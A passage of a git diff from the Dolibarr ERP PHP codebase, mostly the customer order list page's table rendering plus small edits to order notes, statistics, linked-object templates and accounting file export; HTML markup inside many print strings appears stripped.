(!$i) { + $totalarray['nbfield']++; + } + } + + // Project label + if (!empty($arrayfields['p.title']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Third party + if (!empty($arrayfields['s.nom']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Alias name + if (!empty($arrayfields['s.name_alias']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Town + if (!empty($arrayfields['s.town']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Zip + if (!empty($arrayfields['s.zip']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // State + if (!empty($arrayfields['state.nom']['checked'])) { + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Country + if (!empty($arrayfields['country.code_iso']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Type ent + if (!empty($arrayfields['typent.code']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Order date + if (!empty($arrayfields['c.date_commande']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Plannned date of delivery + if (!empty($arrayfields['c.date_delivery']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Shipping Method + if (!empty($arrayfields['c.fk_shipping_method']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Payment terms + if (!empty($arrayfields['c.fk_cond_reglement']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Payment mode + if (!empty($arrayfields['c.fk_mode_reglement']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Channel + if (!empty($arrayfields['c.fk_input_reason']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Amount HT + if (!empty($arrayfields['cdet.total_ht']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'cdet.total_ht'; + } + if (isset($totalarray['val']['cdet.total_ht'])) { + $totalarray['val']['cdet.total_ht'] += $obj->total_ht; + } else { + $totalarray['val']['cdet.total_ht'] = $obj->total_ht; + } + } + // Amount VAT + if (!empty($arrayfields['c.total_vat']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'cdet.total_tva'; + } + $totalarray['val']['cdet.total_tva'] += $obj->total_tva; + } + // Amount TTC + if (!empty($arrayfields['cdet.total_ttc']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'cdet.total_ttc'; + } + $totalarray['val']['cdet.total_ttc'] += $obj->total_ttc; + } + // Warehouse + if (!empty($arrayfields['c.fk_warehouse']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Currency + if (!empty($arrayfields['c.multicurrency_code']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Currency rate + if (!empty($arrayfields['c.multicurrency_tx']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Amount HT + if (!empty($arrayfields['c.multicurrency_total_ht']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Amount VAT + if (!empty($arrayfields['c.multicurrency_total_vat']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Amount TTC + if (!empty($arrayfields['c.multicurrency_total_ttc']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + + $userstatic->id = $obj->fk_user_author; + $userstatic->login = $obj->login; + $userstatic->lastname = $obj->lastname; + $userstatic->firstname = $obj->firstname; + $userstatic->email = $obj->user_email; + $userstatic->statut = $obj->user_statut; + $userstatic->entity = $obj->entity; + $userstatic->photo = $obj->photo; + $userstatic->office_phone = $obj->office_phone; + $userstatic->office_fax = $obj->office_fax; + $userstatic->user_mobile = $obj->user_mobile; + $userstatic->job = $obj->job; + $userstatic->gender = $obj->gender; + + // Author + if (!empty($arrayfields['u.login']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + + if (!empty($arrayfields['sale_representative']['checked'])) { + // Sales representatives + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Total buying or cost price + if (!empty($arrayfields['total_pa']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Total margin + if (!empty($arrayfields['total_margin']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'total_margin'; + } + $totalarray['val']['total_margin'] += $marginInfo['total_margin']; + } + // Total margin rate + if (!empty($arrayfields['total_margin_rate']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Total mark rate + if (!empty($arrayfields['total_mark_rate']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'total_mark_rate'; + } + if ($i >= $imaxinloop - 1) { + if (!empty($total_ht)) { + $totalarray['val']['total_mark_rate'] = price2num($total_margin * 100 / $total_ht, 'MT'); + } else { + $totalarray['val']['total_mark_rate'] = ''; + } + } + } + + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + + // Date creation + if (!empty($arrayfields['c.datec']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Date modification + if (!empty($arrayfields['c.tms']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Date cloture + if (!empty($arrayfields['c.date_cloture']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Note public + if (!empty($arrayfields['c.note_public']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Note private + if (!empty($arrayfields['c.note_private']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Show shippable Icon (this creates subloops, so may be slow) + if (!empty($arrayfields['shippable']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Billed + if (!empty($arrayfields['c.facture']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Import key + if (!empty($arrayfields['c.import_key']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Status + if (!empty($arrayfields['c.fk_statut']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Action column + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // $totalarray['nbfield']--; + // $totalarray['nbfield']--; + print "\n"; + + $total += $obj->total_ht; + $subtotal += $obj->total_ht; + $i++; + } + + // Show total line + include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; + + // If no record found + if ($num == 0) { + $colspan = 1; + foreach ($arrayfields as $key => $val) { + if (!empty($val['checked'])) { + $colspan++; + } + } + print ''; + } + + $db->free($resql); + + $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); + $reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + + print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print $form->select_country($search_country, 'search_country', '', 0, 'minwidth100imp maxwidth100'); + print ''; + print $form->selectarray("search_type_thirdparty", $formcompany->typent_array(0), $search_type_thirdparty, 1, 0, 0, '', 0, 0, 0, (empty($conf->global->SOCIETE_SORT_ON_TYPEENT) ? 'ASC' : $conf->global->SOCIETE_SORT_ON_TYPEENT), '', 1); + print ''; + print '
      '; + print $form->selectDate($search_dateorder_start ? $search_dateorder_start : -1, 'search_dateorder_start_', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search_dateorder_end ? $search_dateorder_end : -1, 'search_dateorder_end_', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; + print '
      '; + print '
      '; + print $form->selectDate($search_datedelivery_start ? $search_datedelivery_start : -1, 'search_datedelivery_start_', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search_datedelivery_end ? $search_datedelivery_end : -1, 'search_datedelivery_end_', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; + print '
      '; + $form->selectShippingMethod($search_fk_shipping_method, 'search_fk_shipping_method', '', 1, '', 1); + print ''; + $form->select_conditions_paiements($search_fk_cond_reglement, 'search_fk_cond_reglement', 1, 1, 1); + print ''; + $form->select_types_paiements($search_fk_mode_reglement, 'search_fk_mode_reglement', '', 0, 1, 1, 0, -1); + print ''; + $form->selectInputReason($search_fk_input_reason, 'search_fk_input_reason', '', 1, '', 1); + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print $form->selectMultiCurrency($search_multicurrency_code, 'search_multicurrency_code', 1); + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print '
      '; + print $form->selectDate($search_datecloture_start ? $search_datecloture_start : -1, 'search_datecloture_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search_datecloture_end ? $search_datecloture_end : -1, 'search_datecloture_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; + print '
      '; + print ''; + print ''; + //print $form->selectyesno('search_shippable', $search_shippable, 1, 0, 1, 1); + if (!empty($conf->global->ORDER_SHIPABLE_STATUS_DISABLED_BY_DEFAULT)) { + print ''; + print $langs->trans('ShowShippableStatus'); + } else { + $show_shippable_command = 1; + } + print ''; + print $form->selectyesno('search_billed', $search_billed, 1, 0, 1, 1); + print ''; + print ''; + $liststatus = array( + Commande::STATUS_DRAFT=>$langs->trans("StatusOrderDraftShort"), + Commande::STATUS_VALIDATED=>$langs->trans("StatusOrderValidated"), + Commande::STATUS_SHIPMENTONPROCESS=>$langs->trans("StatusOrderSentShort"), + Commande::STATUS_CLOSED=>$langs->trans("StatusOrderDelivered"), + -3=>$langs->trans("StatusOrderValidatedShort").'+'.$langs->trans("StatusOrderSentShort").'+'.$langs->trans("StatusOrderDelivered"), + -2=>$langs->trans("StatusOrderValidatedShort").'+'.$langs->trans("StatusOrderSentShort"), + Commande::STATUS_CANCELED=>$langs->trans("StatusOrderCanceledShort") + ); + print $form->selectarray('search_status', $liststatus, $search_status, -5, 0, 0, '', 0, 0, 0, '', 'maxwidth125', 1); + print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''.$generic_product->getNomUrl(1).'Ligne libre'.$obj->description.''.dol_escape_htmltag($labelproduct).''.$obj->qty.''; + print $generic_commande->getNomUrl(1, ($search_status != 2 ? 0 : $obj->fk_statut), 0, 0, 0, 1, 1); + + $filename = dol_sanitizeFileName($obj->ref); + $filedir = $conf->commande->multidir_output[$conf->entity].'/'.dol_sanitizeFileName($obj->ref); + $urlsource = $_SERVER['PHP_SELF'].'?id='.$obj->rowid; + print $formfile->getDocumentsLink($generic_commande->element, $filename, $filedir); + + print ''.$obj->ref_client.''; + if ($obj->project_id > 0) { + print $projectstatic->getNomUrl(1); + } + print ''; + if ($obj->project_id > 0) { + print $projectstatic->title; + } + print ''; + print $getNomUrl_cache[$obj->socid]; + + // If module invoices enabled and user with invoice creation permissions + if (isModEnabled('facture') && !empty($conf->global->ORDER_BILLING_ALL_CUSTOMER)) { + if ($user->rights->facture->creer) { + if (($obj->fk_statut > 0 && $obj->fk_statut < 3) || ($obj->fk_statut == 3 && $obj->billed == 0)) { + print ' '; + print img_picto($langs->trans("CreateInvoiceForThisCustomer").' : '.$companystatic->name, 'object_bill', 'hideonsmartphone').''; + } + } + } + print ''; + print $obj->alias; + print ''; + print $obj->town; + print ''; + print $obj->zip; + print '".$obj->state_name."'; + $tmparray = getCountry($obj->fk_pays, 'all'); + print $tmparray['label']; + print ''; + if (empty($typenArray)) { + $typenArray = $formcompany->typent_array(1); + } + print $typenArray[$obj->typent_code]; + print ''; + print dol_print_date($db->jdate($obj->date_commande), 'day'); + // Warning late icon and note + if ($generic_commande->hasDelay()) { + print img_picto($langs->trans("Late").' : '.$generic_commande->showDelay(), "warning"); + } + print ''; + print dol_print_date($db->jdate($obj->date_delivery), 'dayhour'); + print ''; + $form->formSelectShippingMethod('', $obj->fk_shipping_method, 'none', 1); + print ''; + $form->form_conditions_reglement($_SERVER['PHP_SELF'], $obj->fk_cond_reglement, 'none', 0, '', 1, $obj->deposit_percent); + print ''; + $form->form_modes_reglement($_SERVER['PHP_SELF'], $obj->fk_mode_reglement, 'none', '', -1); + print ''; + $form->formInputReason($_SERVER['PHP_SELF'], $obj->fk_input_reason, 'none', ''); + print ''.price($obj->total_ht)."'.price($obj->total_tva)."'.price($obj->total_ttc)."'; + if ($obj->warehouse > 0) { + print img_picto('', 'stock', 'class="paddingrightonly"'); + } + $formproduct->formSelectWarehouses($_SERVER['PHP_SELF'], $obj->warehouse, 'none'); + print "'.$obj->multicurrency_code.' - '.$langs->trans('Currency'.$obj->multicurrency_code)."'; + $form->form_multicurrency_rate($_SERVER['PHP_SELF'].'?id='.$obj->rowid, $obj->multicurrency_tx, 'none', $obj->multicurrency_code); + print "'.price($obj->multicurrency_total_ht)."'.price($obj->multicurrency_total_vat)."'.price($obj->multicurrency_total_ttc)."'; + if ($userstatic->id) { + print $userstatic->getNomUrl(-1); + } else { + print ' '; + } + print "'; + if ($obj->socid > 0) { + $listsalesrepresentatives = $companystatic->getSalesRepresentatives($user); + if ($listsalesrepresentatives < 0) { + dol_print_error($db); + } + $nbofsalesrepresentative = count($listsalesrepresentatives); + if ($nbofsalesrepresentative > 6) { + // We print only number + print $nbofsalesrepresentative; + } elseif ($nbofsalesrepresentative > 0) { + $j = 0; + foreach ($listsalesrepresentatives as $val) { + $userstatic->id = $val['id']; + $userstatic->lastname = $val['lastname']; + $userstatic->firstname = $val['firstname']; + $userstatic->email = $val['email']; + $userstatic->statut = $val['statut']; + $userstatic->entity = $val['entity']; + $userstatic->photo = $val['photo']; + $userstatic->login = $val['login']; + $userstatic->office_phone = $val['office_phone']; + $userstatic->office_fax = $val['office_fax']; + $userstatic->user_mobile = $val['user_mobile']; + $userstatic->job = $val['job']; + $userstatic->gender = $val['gender']; + //print '
      ': + print ($nbofsalesrepresentative < 2) ? $userstatic->getNomUrl(-1, '', 0, 0, 12) : $userstatic->getNomUrl(-2); + $j++; + if ($j < $nbofsalesrepresentative) { + print ' '; + } + //print '
      '; + } + } + //else print $langs->trans("NoSalesRepresentativeAffected"); + } else { + print ' '; + } + print '
      '.price($marginInfo['pa_total']).''.price($marginInfo['total_margin']).''.(($marginInfo['total_margin_rate'] == '') ? '' : price($marginInfo['total_margin_rate'], null, null, null, null, 2).'%').''.(($marginInfo['total_mark_rate'] == '') ? '' : price($marginInfo['total_mark_rate'], null, null, null, null, 2).'%').''; + print dol_print_date($db->jdate($obj->date_creation), 'dayhour', 'tzuser'); + print ''; + print dol_print_date($db->jdate($obj->date_update), 'dayhour', 'tzuser'); + print ''; + print dol_print_date($db->jdate($obj->date_cloture), 'dayhour', 'tzuser'); + print ''; + print dol_string_nohtmltag($obj->note_public); + print ''; + print dol_string_nohtmltag($obj->note_private); + print ''; + if (!empty($show_shippable_command) && !empty($conf->stock->enabled)) { + if (($obj->fk_statut > $generic_commande::STATUS_DRAFT) && ($obj->fk_statut < $generic_commande::STATUS_CLOSED)) { + $generic_commande->getLinesArray(); // Load array ->lines + $generic_commande->loadExpeditions(); // Load array ->expeditions + + $numlines = count($generic_commande->lines); // Loop on each line of order + for ($lig = 0; $lig < $numlines; $lig++) { + if (isset($generic_commande->expeditions[$generic_commande->lines[$lig]->id])) { + $reliquat = $generic_commande->lines[$lig]->qty - $generic_commande->expeditions[$generic_commande->lines[$lig]->id]; + } else { + $reliquat = $generic_commande->lines[$lig]->qty; + } + if ($generic_commande->lines[$lig]->product_type == 0 && $generic_commande->lines[$lig]->fk_product > 0) { // If line is a product and not a service + $nbprod++; // order contains real products + $generic_product->id = $generic_commande->lines[$lig]->fk_product; + + // Get local and virtual stock and store it into cache + if (empty($productstat_cache[$generic_commande->lines[$lig]->fk_product])) { + $generic_product->load_stock('nobatch'); // ->load_virtual_stock() is already included into load_stock() + $productstat_cache[$generic_commande->lines[$lig]->fk_product]['stock_reel'] = $generic_product->stock_reel; + $productstat_cachevirtual[$generic_commande->lines[$lig]->fk_product]['stock_reel'] = $generic_product->stock_theorique; + } else { + $generic_product->stock_reel = $productstat_cache[$generic_commande->lines[$lig]->fk_product]['stock_reel']; + $generic_product->stock_theorique = $productstat_cachevirtual[$generic_commande->lines[$lig]->fk_product]['stock_reel'] = $generic_product->stock_theorique; + } + + if ($reliquat > $generic_product->stock_reel) { + $notshippable++; + } + if (empty($conf->global->SHIPPABLE_ORDER_ICON_IN_LIST)) { // Default code. Default should be this case. + $text_info .= $reliquat.' x '.$generic_commande->lines[$lig]->product_ref.' '.dol_trunc($generic_commande->lines[$lig]->product_label, 20); + $text_info .= ' - '.$langs->trans("Stock").': '.$generic_product->stock_reel.''; + $text_info .= ' - '.$langs->trans("VirtualStock").': '.$generic_product->stock_theorique.''; + $text_info .= ($reliquat != $generic_commande->lines[$lig]->qty ? ' ('.$langs->trans("QtyInOtherShipments").' '.($generic_commande->lines[$lig]->qty - $reliquat).')' : ''); + $text_info .= '
      '; + } else { // BUGGED CODE. + // DOES NOT TAKE INTO ACCOUNT MANUFACTURING. THIS CODE SHOULD BE USELESS. PREVIOUS CODE SEEMS COMPLETE. + // COUNT STOCK WHEN WE SHOULD ALREADY HAVE VALUE + // Detailed virtual stock, looks bugged, uncomplete and need heavy load. + // stock order and stock order_supplier + $stock_order = 0; + $stock_order_supplier = 0; + if (!empty($conf->global->STOCK_CALCULATE_ON_SHIPMENT) || !empty($conf->global->STOCK_CALCULATE_ON_SHIPMENT_CLOSE)) { // What about other options ? + if (!empty($conf->commande->enabled)) { + if (empty($productstat_cache[$generic_commande->lines[$lig]->fk_product]['stats_order_customer'])) { + $generic_product->load_stats_commande(0, '1,2'); + $productstat_cache[$generic_commande->lines[$lig]->fk_product]['stats_order_customer'] = $generic_product->stats_commande['qty']; + } else { + $generic_product->stats_commande['qty'] = $productstat_cache[$generic_commande->lines[$lig]->fk_product]['stats_order_customer']; + } + $stock_order = $generic_product->stats_commande['qty']; + } + if ((!empty($conf->fournisseur->enabled) && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD)) || !empty($conf->supplier_order->enabled)) { + if (empty($productstat_cache[$generic_commande->lines[$lig]->fk_product]['stats_order_supplier'])) { + $generic_product->load_stats_commande_fournisseur(0, '3'); + $productstat_cache[$generic_commande->lines[$lig]->fk_product]['stats_order_supplier'] = $generic_product->stats_commande_fournisseur['qty']; + } else { + $generic_product->stats_commande_fournisseur['qty'] = $productstat_cache[$generic_commande->lines[$lig]->fk_product]['stats_order_supplier']; + } + $stock_order_supplier = $generic_product->stats_commande_fournisseur['qty']; + } + } + $text_info .= $reliquat.' x '.$generic_commande->lines[$lig]->ref.' '.dol_trunc($generic_commande->lines[$lig]->product_label, 20); + $text_stock_reel = $generic_product->stock_reel.'/'.$stock_order; + if ($stock_order > $generic_product->stock_reel && !($generic_product->stock_reel < $generic_commande->lines[$lig]->qty)) { + $warning++; + $text_warning .= ''.$langs->trans('Available').' : '.$text_stock_reel.''; + } + if ($reliquat > $generic_product->stock_reel) { + $text_info .= ''.$langs->trans('Available').' : '.$text_stock_reel.''; + } else { + $text_info .= ''.$langs->trans('Available').' : '.$text_stock_reel.''; + } + if ((!empty($conf->fournisseur->enabled) && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD)) || !empty($conf->supplier_order->enabled)) { + $text_info .= ' '.$langs->trans('SupplierOrder').' : '.$stock_order_supplier; + } + $text_info .= ($reliquat != $generic_commande->lines[$lig]->qty ? ' ('.$langs->trans("QtyInOtherShipments").' '.($generic_commande->lines[$lig]->qty - $reliquat).')' : ''); + $text_info .= '
      '; + } + } + } + if ($notshippable == 0) { + $text_icon = img_picto('', 'dolly', '', false, 0, 0, '', 'green paddingleft'); + $text_info = $text_icon.' '.$langs->trans('Shippable').'
      '.$text_info; + } else { + $text_icon = img_picto('', 'dolly', '', false, 0, 0, '', 'error paddingleft'); + $text_info = $text_icon.' '.$langs->trans('NonShippable').'
      '.$text_info; + } + } + + if ($nbprod) { + print $form->textwithtooltip('', $text_info, 2, 1, $text_icon, '', 2); + } + if ($warning) { // Always false in default mode + print $form->textwithtooltip('', $langs->trans('NotEnoughForAllOrders').'
      '.$text_warning, 2, 1, img_picto('', 'error'), '', 2); + } + } + print '
      '.yn($obj->billed).''.$obj->import_key.''.$generic_commande->LibStatut($obj->fk_statut, $obj->billed, 5, 1).''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("NoRecordFound").'
      '."\n"; + print '
      '; + + print ''."\n"; + + $hidegeneratedfilelistifempty = 1; + if ($massaction == 'builddoc' || $action == 'remove_file' || $show_files) { + $hidegeneratedfilelistifempty = 0; + } + + // Show list of available documents + $urlsource = $_SERVER['PHP_SELF'].'?sortfield='.$sortfield.'&sortorder='.$sortorder; + $urlsource .= str_replace('&', '&', $param); + + $filedir = $diroutputmassaction; + $genallowed = $permissiontoread; + $delallowed = $permissiontoadd; + + print $formfile->showdocuments('massfilesarea_orders', '', $filedir, $urlsource, 0, $delallowed, '', 1, 1, 0, 48, 1, $param, $title, '', '', '', null, $hidegeneratedfilelistifempty); +} else { + dol_print_error($db); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/commande/note.php b/htdocs/commande/note.php index e84dd5ad6e1..57eb073bba3 100644 --- a/htdocs/commande/note.php +++ b/htdocs/commande/note.php @@ -113,7 +113,7 @@ if ($id > 0 || !empty($ref)) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); diff --git a/htdocs/commande/stats/index.php b/htdocs/commande/stats/index.php index 9052ed7ab27..20fccd3f000 100644 --- a/htdocs/commande/stats/index.php +++ b/htdocs/commande/stats/index.php @@ -426,7 +426,7 @@ print '
      '; print ''; -print '
      '; +print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/commande/tpl/linkedobjectblock.tpl.php b/htdocs/commande/tpl/linkedobjectblock.tpl.php index 819a6ecb74f..323ef0aefa6 100644 --- a/htdocs/commande/tpl/linkedobjectblock.tpl.php +++ b/htdocs/commande/tpl/linkedobjectblock.tpl.php @@ -46,16 +46,16 @@ foreach ($linkedObjectBlock as $key => $objectlink) { $trclass .= ' liste_sub_total'; } echo '
      '.$langs->trans("CustomerOrder"); + echo ''.$langs->trans("CustomerOrder"); if (!empty($showImportButton) && !empty($conf->global->MAIN_ENABLE_IMPORT_LINKED_OBJECT_LINES)) { print ' '; - echo ''.$objectlink->getNomUrl(1).''.$objectlink->getNomUrl(1).''.$objectlink->ref_client.''.dol_print_date($objectlink->date, 'day').''; - if ($user->rights->commande->lire) { + if ($user->hasRight('commande', 'lire')) { $total = $total + $objectlink->total_ht; echo price($objectlink->total_ht); } diff --git a/htdocs/compta/accounting-files.php b/htdocs/compta/accounting-files.php index 2f2f5816ae1..4b3d0e6e94c 100644 --- a/htdocs/compta/accounting-files.php +++ b/htdocs/compta/accounting-files.php @@ -135,14 +135,14 @@ if (empty($entity)) { $error = 0; $listofchoices = array( - 'selectinvoices'=>array('label'=>'Invoices', 'lang'=>'bills', 'enabled' => isModEnabled('facture'), 'perms' => !empty($user->rights->facture->lire)), - 'selectsupplierinvoices'=>array('label'=>'BillsSuppliers', 'lang'=>'bills', 'enabled' => isModEnabled('supplier_invoice'), 'perms' => !empty($user->rights->fournisseur->facture->lire)), - 'selectexpensereports'=>array('label'=>'ExpenseReports', 'lang'=>'trips', 'enabled' => isModEnabled('expensereport'), 'perms' => !empty($user->rights->expensereport->lire)), - 'selectdonations'=>array('label'=>'Donations', 'lang'=>'donation', 'enabled' => isModEnabled('don'), 'perms' => !empty($user->rights->don->lire)), - 'selectsocialcontributions'=>array('label'=>'SocialContributions', 'enabled' => isModEnabled('tax'), 'perms' => !empty($user->rights->tax->charges->lire)), - 'selectpaymentsofsalaries'=>array('label'=>'SalariesPayments', 'lang'=>'salaries', 'enabled' => isModEnabled('salaries'), 'perms' => !empty($user->rights->salaries->read)), - 'selectvariouspayment'=>array('label'=>'VariousPayment', 'enabled' => isModEnabled('banque'), 'perms' => !empty($user->rights->banque->lire)), - 'selectloanspayment'=>array('label'=>'PaymentLoan', 'enabled' => isModEnabled('don'), 'perms' => !empty($user->rights->loan->read)), + 'selectinvoices'=>array('label'=>'Invoices', 'picto'=>'bill', 'lang'=>'bills', 'enabled' => isModEnabled('facture'), 'perms' => !empty($user->rights->facture->lire)), + 'selectsupplierinvoices'=>array('label'=>'BillsSuppliers', 'picto'=>'supplier_invoice', 'lang'=>'bills', 'enabled' => isModEnabled('supplier_invoice'), 'perms' => !empty($user->rights->fournisseur->facture->lire)), + 'selectexpensereports'=>array('label'=>'ExpenseReports', 'picto'=>'expensereport', 'lang'=>'trips', 'enabled' => isModEnabled('expensereport'), 'perms' => !empty($user->rights->expensereport->lire)), + 'selectdonations'=>array('label'=>'Donations', 'picto'=>'donation', 'lang'=>'donation', 'enabled' => isModEnabled('don'), 'perms' => !empty($user->rights->don->lire)), + 'selectsocialcontributions'=>array('label'=>'SocialContributions', 'picto'=>'bill', 'enabled' => isModEnabled('tax'), 'perms' => !empty($user->rights->tax->charges->lire)), + 'selectpaymentsofsalaries'=>array('label'=>'SalariesPayments', 'picto'=>'salary', 'lang'=>'salaries', 'enabled' => isModEnabled('salaries'), 'perms' => !empty($user->rights->salaries->read)), + 'selectvariouspayment'=>array('label'=>'VariousPayment', 'picto'=>'payment', 'enabled' => isModEnabled('banque'), 'perms' => !empty($user->rights->banque->lire)), + 'selectloanspayment'=>array('label'=>'PaymentLoan','picto'=>'loan', 'enabled' => isModEnabled('don'), 'perms' => !empty($user->rights->loan->read)), ); @@ -376,6 +376,9 @@ if (($action == 'searchfiles' || $action == 'dl')) { $nofile['country_code'] = $objd->country_code; $nofile['vatnum'] = $objd->vatnum; $nofile['sens'] = $objd->sens; + $nofile['currency'] = $objd->currency; + $nofile['link'] = ''; + $nofile['name'] = ''; $filesarray[$nofile['item'].'_'.$nofile['id']] = $nofile; } else { @@ -396,6 +399,7 @@ if (($action == 'searchfiles' || $action == 'dl')) { $file['country_code'] = $objd->country_code; $file['vatnum'] = $objd->vatnum; $file['sens'] = $objd->sens; + $file['currency'] = $objd->currency; // Save record into array (only the first time it is found) if (empty($filesarray[$file['item'].'_'.$file['id']])) { @@ -415,6 +419,7 @@ if (($action == 'searchfiles' || $action == 'dl')) { 'relpathnamelang' => $langs->trans($file['item']).'/'.$file['name'], 'modulepart' => $modulepart, 'subdir' => $subdir, + 'currency' => $file['currency'] ); //var_dump($file['item'].'_'.$file['id']); //var_dump($filesarray[$file['item'].'_'.$file['id']]['files']); @@ -618,7 +623,9 @@ foreach ($listofchoices as $choice => $val) { $disabled = ' disabled'; } $checked = (((!GETPOSTISSET('search') && $action != 'searchfiles') || GETPOST($choice)) ? ' checked="checked"' : ''); - print '
      '; + print '
